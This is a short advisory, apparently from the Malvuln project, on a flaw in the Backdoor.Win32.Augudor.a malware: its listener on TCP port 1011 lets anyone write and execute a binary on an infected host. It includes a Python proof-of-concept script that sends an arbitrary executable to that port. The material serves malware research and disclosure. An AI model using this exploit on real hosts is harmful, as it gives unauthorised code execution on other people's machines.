Backdoor.Win32.Augudor.a Remote File Write / Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/bf1b1a2f4be78d6b62ed7c316c77a9a1.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Augudor.a  
Vulnerability: Unauthenticated Remote File Write - RCE  
Description: Augudor.a drops an empty file named "zy.exe" and listens on TCP port 1011. Attackers who can reach the infected host can write any binary file they like to the empty "zy.exe" file on the system and it will execute as soon as the binary transfer has completed.  
Family: Augudor  
Type: PE32  
MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1  
Vuln ID: MVID-2022-0501  
Dropped files: zy.exe  
Disclosure: 03/03/2022  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=1011  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
s.close()  
  
print("Backdoor.Win32.Augudor.a / Unauthenticated Remote File Write Code Execution")  
print("MD5: bf1b1a2f4be78d6b62ed7c316c77a9a1")  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
  
  
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